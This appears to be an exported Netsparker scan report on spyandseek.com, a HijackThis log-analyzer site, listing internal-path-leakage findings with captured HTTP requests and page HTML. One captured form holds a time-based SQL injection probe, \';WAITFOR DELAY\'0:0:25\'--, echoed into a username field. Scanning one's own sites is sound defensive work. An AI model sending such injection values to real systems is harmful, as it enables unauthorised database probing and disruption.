</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>
<TABLE width="90%" align="center"><TR><TD>

<P>If you have an account with us, please log in with your username and password:</P>

<FORM method="post" action="login.php4">
UserName :<br>
<INPUT type="text" name="form1_username" value="" size="40" maxlength="49"><br>
Password :<br>
<INPUT type="password" name="form1_password" value="" size="30" maxlength="30"><br>
<INPUT type="hidden" name="action" value="login">
<INPUT class='press' type="submit" value="Submit"> <INPUT class='press' type="reset">
</FORM>

<hr>

<p> You do not need an account to use this site. In fact you should be an expert
guru computer wizard if you sign up for an account. </p>
<P>If you do not have an account with us, and you feel you are up to the challenge please enter your email address in the box below.
We will send you a confirmation code and further instructions.</P>

<FONT color='#FF0000'>Your username or email is already registered</FONT><BR>
<FORM method="post" action="login.php4">
UserName :<BR>
<INPUT type="text" name="form2_username" value="\';WAITFOR DELAY \'0:0:25\'--" size="40" maxlength="49"><br>
Email :<br>
<INPUT type="text" name="form2_email" value="netsparker@example.com" size="40" maxlength="49"><br>
Password :<br>
<INPUT type="password" name="form2_pass1" value="3" size="30" maxlength="30"><br>
Re-enter your password :<br>
<INPUT type="password" name="form2_pass2" value="3" size="30" maxlength="30"><br>
<INPUT type="hidden" name="action" value="new">
<INPUT class='press' type="submit" value="Submit">
</FORM>
</p>
</div>
</TD></TR></TABLE>
<!--"end tubular data here"--></div>
</div><!--"end main content here"--></div></div><br style='clear: both;' />

</div>

<div id='footer'>
<div class='footer-contents'><div class='footer-contents2'>
<div class='col'>
<dl class='col-prime'>
<dt>Site Links</dt>
<dd><a href='index.php4'>Home</a></dd>
<dd><a href='store.php4'>Store</a></dd>


<dd><a href='contact.php4'>Contact</a></dd>
<dd><a href='faq.php4'>FAQ</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt>Filters</dt>

<dd><a href='logja-vu.php4'>Logja-vu</a> </dd>
<dd><a href='newgood.php4'>Good</a></dd>
<dd><a href='newbad.php4'>Bad</a></dd>
<dd><a href='topunknown.php4'>Unknown</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt >Bloggs</dt>
<dd><a href='http://blog.spyandseek.com'>SpyandSeek</a> </dd>

<dd>
<a href='http://sunbeltblog.blogspot.com/'>Sun Belt</a> </dd>
</dl>
</div>
<div class='col-last'>
<div id='P_TownhallFooter' ><dl>

<dd></dd></dl>
</div>
</div></div></div>

<br style='clear: both;' />
</div>

<div class='copyright'><div>
<img src='Images/Superhero.gif' width='40' height='40' alt='Superhero' />
&copy; SpyAndSeek 2007 &#8212; User-posted content, unless source quoted, <!--Creative Commons License--> is licensed under a <a rel='license' href='http://creativecommons.org/licenses/publicdomain/'>Creative Commons Public Domain License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/publicdomain/' />
<dc:title>spyandseek.com user contributed content</dc:title>
<dc:rights><Agent><dc:title>sas users</dc:title></Agent></dc:rights>
</Work>
<License rdf:about='http://creativecommons.org/licenses/publicdomain/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><subClassOf xmlns='' rdf:resource='http://web.resource.org/cc/PublicDomain'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/></License></rdf:RDF> -->

<br />

</div>
</div></div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=' + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10862430-1");
pageTracker._trackPageview();
} catch(err) {}</script>



</body>
</html>

[Possible] Internal Path Leakage (Windows)

[Possible] Internal Path Leakage (Windows)
7 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker either to identify other vulnerabilities or during the exploitation of other identified vulnerabilities.

Remedy

First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this file path was actually the real file path of the target web server.
  • Error messages should be disabled.
  • Remove this kind of sensitive data from the output.

External References

Classification

PCI v1.2-6.5.6 CWE-200 CAPEC-118 WASC-13
- /

/

http://www.spyandseek.com/

Identified Internal Path(s)

  • C:\Program Files\BitTorrentBar\prxtbBit0.dll
  • C:\Program Files

Request

GET / HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=06203e1dac1900fd5fb9a0c8b2ff6e1d; path=/
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>
<form action="Analize.php4" method="post" enctype="multipart/form-data">
<div><p align=center>
<strong>Browse to a HijackThis logfile on your computer. <br >Then Press the Analyze
button.</strong><br > <br >
<input name="userfile" type="file" id="userfile" size="45" />
<!-- MAX_FILE_SIZE must precede the file input field -->
<input type="hidden" name="MAX_FILE_SIZE" value="102400" />

<br />
<input class='press' name="upload" type="submit" id="upload" value="Analyze" /><br>
</p><BR><BR> </div>
</form>
</div></div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>

<table class='maintable'><tr><th scope='col' align='center' >DataBase Summary</th></tr><tr align='center'><td>There are a total of <b>19,561</b> Entries classified as <b>BAD</b> in our Database.</td><tr><tr class='odd' align='center'><td>There are a total of <b>221,074</b> Entries classified as <b>UNKNOWN</b> in our Database.</td></tr><tr align='center'><td>There are a total of <b>100,143</b> Entries classified as <b>GOOD</b> in our Database.</td></tr><tr class='odd' align='center'><td>Remember to SAS in our <a href='newgood.php4' >Good</a> , <a href='newbad.php4' >Bad</a> and <a href='topunknown.php4' >Unknown</a></td></tr><tr><th scope='col' align='center' >5 Newest Bad Entries</th></tr><tr><td>O2 - BHO: BitTorrentBar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr class='odd'><td>O3 - Toolbar: BitTorrentBar Toolbar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr><td>O3 - Toolbar: (no name) -<wbr>!{9D425283-D487-4337-BAB6-AB8354A81457} - (no<wbr>file) </td></tr><tr class='odd'><td>O3 - Toolbar: GamesBar -<wbr>{6F282B65-56BF-4BD1-A8B2-A4449A05863D} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr><tr><td>O9 - Extra button: (no name) -<wbr>{1A93C934-025B-4c3a-B38E-9654A7003239} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr></table><!--"end tubular data here"--></div>
</div><!--"end main content here"--></div></div><br style='clear: both;' />

</div>

<div id='footer'>
<div class='footer-contents'><div class='footer-contents2'>
<div class='col'>
<dl class='col-prime'>
<dt>Site Links</dt>
<dd><a href='index.php4'>Home</a></dd>
<dd><a href='store.php4'>Store</a></dd>


<dd><a href='contact.php4'>Contact</a></dd>
<dd><a href='faq.php4'>FAQ</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt>Filters</dt>

<dd><a href='logja-vu.php4'>Logja-vu</a> </dd>
<dd><a href='newgood.php4'>Good</a></dd>
<dd><a href='newbad.php4'>Bad</a></dd>
<dd><a href='topunknown.php4'>Unknown</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt >Bloggs</dt>
<dd><a href='http://blog.spyandseek.com'>SpyandSeek</a> </dd>

<dd>
<a href='http://sunbeltblog.blogspot.com/'>Sun Belt</a> </dd>
</dl>
</div>
<div class='col-last'>
<div id='P_TownhallFooter' ><dl>

<dd></dd></dl>
</div>
</div></div></div>

<br style='clear: both;' />
</div>

<div class='copyright'><div>
<img src='Images/Superhero.gif' width='40' height='40' alt='Superhero' />
&copy; SpyAndSeek 2007 &#8212; User-posted content, unless source quoted, <!--Creative Commons License--> is licensed under a <a rel='license' href='http://creativecommons.org/licenses/publicdomain/'>Creative Commons Public Domain License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/publicdomain/' />
<dc:title>spyandseek.com user contributed content</dc:title>
<dc:rights><Agent><dc:title>sas users</dc:title></Agent></dc:rights>
</Work>
<License rdf:about='http://creativecommons.org/licenses/publicdomain/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><subClassOf xmlns='' rdf:resource='http://web.resource.org/cc/PublicDomain'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/></License></rdf:RDF> -->

<br />

</div>
</div></div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=' + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10862430-1");
pageTracker._trackPageview();
} catch(err) {}</script>



</body>
</html>

- /index.php4

/index.php4

http://www.spyandseek.com/index.php4

Identified Internal Path(s)

  • C:\Program Files\BitTorrentBar\prxtbBit0.dll
  • C:\Program Files

Request

GET /index.php4 HTTP/1.1
Referer: http://www.spyandseek.com/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='Robots' CONTENT='INDEX,FOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
{
errorMsg();
}
}
//-->
</script></HEAD><Body><script type="text/javascript" ><!-- function launchWindow(url, features) { window.open(url, "_blank", features);} // --> </script><div id='container'>
<div id='header'>
<h1><a href='index.php4'><img src='Images/Superhero.gif' width='32px' hight='32px'>SpyAndSeek</a></h1>
<div class='side-header'> <a href='login.php4' id='section-profile'>LogIn</a>
<form action='Search.php4' method='get' id='search' onsubmit='Search.php4' class='search-compact' >
<input type='hidden' name='search' value='search' /><input type='text' name='search_for' maxlength='254' id='top-keywords' value='Search...' onfocus=" if(this.value=='Search...')this.value=''; " onblur= " if(this.value=='')this.value='Search...'; " /> <input type='image' id='top-submit' src='Images/search.gif' alt='Search' />
</form>
</div>

<div id='header-primary' >
<div>

</div>

<ul>
<li class='header-all'><a href='index.php4' ><strong>Home</strong></a></li><li class='header-all'><a href='http://blog.spyandseek.com'><strong>Blog</strong></a></li>
<li class='header-all'><a href='login.php4'><strong>LogIn</strong></a></li>
<li class='header-all'><a href='store.php4'><strong>Store</strong></a></li>
<li class='header-allt'><a href='contact.php4'><strong>Contact Me</strong></a></li>
<li class='menu-container current'><a href='FAQ.php4'><strong>FAQ</strong></a></li>

</ul>
</div><div id='header-secondary'>
<ul>
<li ><a href='logja-vu.php4'><strong>Logja-vu</strong></a></li>
<li ><a href='newgood.php4'><strong>Good</strong></a></li>
<li ><a href='newbad.php4'><strong>Bad</strong></a></li>
<li ><a href='topunknown.php4'><strong>Unknown</strong></a></li>
</ul>
</div></div><div id='contents'><div id='wrapper'><div class='sidebar'>

<div class='side-container' style='display: none'>
<div class='side-options'></div>
</div>
<div class='side-container'><p class='first'>


</p>
</div>
<div class="side-container">
<script type="text/javascript"><!--
google_ad_client = "pub-1674685026599860";
/* 160x600, created 6/5/09 */
google_ad_slot = "3236620257";
google_ad_width = 160;
google_ad_height = 600;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
</div><div class='main'><div id='announce'><p>
Helpful Software:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='http://www.trendsecure.com/portal/en-US/tools/security_tools/hijackthis/download'> HijackThis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=AVG%20Anti-Virus'> AVG Anti-Virus </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=32&keywords=MalwareBytes'> MalwareBytes </a><img src='Images/Superhero.gif' width='10px' hight='10px'> <a href="javascript:addEngine('SpyandSeek','png','Web')" title='Install 'SpyandSeek' Firefox Search Plugin'>Firefox Search Plugin</a><img src='Images/Superhero.gif' width='10px' hight='10px'>

<br>Suggested Reading:<img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Analysis'> Malware Analysis </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=Malware%20Removal'> Malware Removal </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
<a href='store.php4?node=69&keywords=steal%20this%20computer%20book'> PC Security Secrets </a><img src='Images/Superhero.gif' width='10px' hight='10px'>
</p>
</div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>
<form action="Analize.php4" method="post" enctype="multipart/form-data">
<div><p align=center>
<strong>Browse to a HijackThis logfile on your computer. <br >Then Press the Analyze
button.</strong><br > <br >
<input name="userfile" type="file" id="userfile" size="45" />
<!-- MAX_FILE_SIZE must precede the file input field -->
<input type="hidden" name="MAX_FILE_SIZE" value="102400" />

<br />
<input class='press' name="upload" type="submit" id="upload" value="Analyze" /><br>
</p><BR><BR> </div>
</form>
</div></div><div class='entry-summary' id='enclosure0' style='z-index:995'>
<div class='entry-body'>

<table class='maintable'><tr><th scope='col' align='center' >DataBase Summary</th></tr><tr align='center'><td>There are a total of <b>19,561</b> Entries classified as <b>BAD</b> in our Database.</td><tr><tr class='odd' align='center'><td>There are a total of <b>221,074</b> Entries classified as <b>UNKNOWN</b> in our Database.</td></tr><tr align='center'><td>There are a total of <b>100,143</b> Entries classified as <b>GOOD</b> in our Database.</td></tr><tr class='odd' align='center'><td>Remember to SAS in our <a href='newgood.php4' >Good</a> , <a href='newbad.php4' >Bad</a> and <a href='topunknown.php4' >Unknown</a></td></tr><tr><th scope='col' align='center' >5 Newest Bad Entries</th></tr><tr><td>O2 - BHO: BitTorrentBar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr class='odd'><td>O3 - Toolbar: BitTorrentBar Toolbar -<wbr>{88c7f2aa-f93f-432c-8f0e-b7d85967a527} -<wbr>C:\Program Files\BitTorrentBar\prxtbBit0.dll </td></tr><tr><td>O3 - Toolbar: (no name) -<wbr>!{9D425283-D487-4337-BAB6-AB8354A81457} - (no<wbr>file) </td></tr><tr class='odd'><td>O3 - Toolbar: GamesBar -<wbr>{6F282B65-56BF-4BD1-A8B2-A4449A05863D} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr><tr><td>O9 - Extra button: (no name) -<wbr>{1A93C934-025B-4c3a-B38E-9654A7003239} -<wbr>C:\Program Files<wbr>(x86)\GamesBar\2.0.1.82\oberontb.dll </td></tr></table><!--"end tubular data here"--></div>
</div><!--"end main content here"--></div></div><br style='clear: both;' />

</div>

<div id='footer'>
<div class='footer-contents'><div class='footer-contents2'>
<div class='col'>
<dl class='col-prime'>
<dt>Site Links</dt>
<dd><a href='index.php4'>Home</a></dd>
<dd><a href='store.php4'>Store</a></dd>


<dd><a href='contact.php4'>Contact</a></dd>
<dd><a href='faq.php4'>FAQ</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt>Filters</dt>

<dd><a href='logja-vu.php4'>Logja-vu</a> </dd>
<dd><a href='newgood.php4'>Good</a></dd>
<dd><a href='newbad.php4'>Bad</a></dd>
<dd><a href='topunknown.php4'>Unknown</a></dd>
</dl>
</div>
<div class='col'>
<dl class='col-prime'>
<dt >Bloggs</dt>
<dd><a href='http://blog.spyandseek.com'>SpyandSeek</a> </dd>

<dd>
<a href='http://sunbeltblog.blogspot.com/'>Sun Belt</a> </dd>
</dl>
</div>
<div class='col-last'>
<div id='P_TownhallFooter' ><dl>

<dd></dd></dl>
</div>
</div></div></div>

<br style='clear: both;' />
</div>

<div class='copyright'><div>
<img src='Images/Superhero.gif' width='40' height='40' alt='Superhero' />
&copy; SpyAndSeek 2007 &#8212; User-posted content, unless source quoted, <!--Creative Commons License--> is licensed under a <a rel='license' href='http://creativecommons.org/licenses/publicdomain/'>Creative Commons Public Domain License</a>.<!--/Creative Commons License--><!-- <rdf:RDF xmlns='http://web.resource.org/cc/' xmlns:dc='http://purl.org/dc/elements/1.1/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<Work rdf:about=''>
<license rdf:resource='http://creativecommons.org/licenses/publicdomain/' />
<dc:title>spyandseek.com user contributed content</dc:title>
<dc:rights><Agent><dc:title>sas users</dc:title></Agent></dc:rights>
</Work>
<License rdf:about='http://creativecommons.org/licenses/publicdomain/'><permits rdf:resource='http://web.resource.org/cc/Reproduction'/><permits rdf:resource='http://web.resource.org/cc/Distribution'/><subClassOf xmlns='' rdf:resource='http://web.resource.org/cc/PublicDomain'/><permits rdf:resource='http://web.resource.org/cc/DerivativeWorks'/></License></rdf:RDF> -->

<br />

</div>
</div></div><script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src=' + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-10862430-1");
pageTracker._trackPageview();
} catch(err) {}</script>



</body>
</html>

- /newgood.php4

/newgood.php4

http://www.spyandseek.com/newgood.php4

Identified Internal Path(s)

  • C:\Program Files (x86)\Common
  • C:\PROGRA~2\MICROS~3\Office12\ONBttnIE.dll
  • D:\Documents and Settings\All
  • C:\Program Files\Common
  • C:\Users\SPM\Desktop\PartyPoker.lnk
  • C:\Documents and Settings\joanne\Start
  • C:\Program Files\Leawo\Youtube
  • C:\Documents and Settings\Christiana\My

Request

GET /newgood.php4 HTTP/1.1
Referer: http://www.spyandseek.com/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.spyandseek.com
Cookie: PHPSESSID=78dc515921c88469fd044ccae7fd588b
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Wed, 28 Sep 2011 16:08:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Spy And Seek the HijackThis Log Analyzer</title>
<meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
<META NAME='keywords' content='computer, Service, Hijack, Hijacker, HijackThis, Logfile, analysis, Malware, Spyware, Trojan,desktop,repair,maintenance,fix. '/>
<META NAME='description' content='SpyAndSeek.com || HijackThis On Line Log Analyzer.'/><META NAME='Title' CONTENT='HijackThis Logfile Analyzer'>
<style type='text/css' media='all'>@import 'CSS/global.css';</style>
<style type='text/css' media='all'>@import 'CSS/lightbox.css';</style>

<!--[if lte IE 6]><style type='text/css' media='all'>@import 'CSS/ie6.css';</style><![endif]-->
<!--[if gt IE 6]><style type='text/css' media='all'>@import 'CSS/ie7.css';</style><![endif]--><META NAME='REVISIT-AFTER' CONTENT='2 Days'><META NAME='ROBOTS' CONTENT='NOFOLLOW'><link rel='shortcut icon' ico = image/x-icon href='http://www.spyandseek.com/favicon.ico'><script type="text/javascript">
<!--
function errorMsg()
{
alert("Netscape 6 or Mozilla Firefox is needed to install a search plugin.");
}
function addEngine(name,ext,cat)
{
if ((typeof window.sidebar == "object") && (typeof
window.sidebar.addSearchEngine == "function"))
{
//cat="Web"; //cat=prompt('In what category should this engine be installed?','Web')window.sidebar.addSearchEngine(
"http://www.spyandseek.com/firefoxplugins/"+name+".src",
"http://www.spyandseek.com/firefoxplugins/"+name+"."+ext,
name,
cat );
}
else
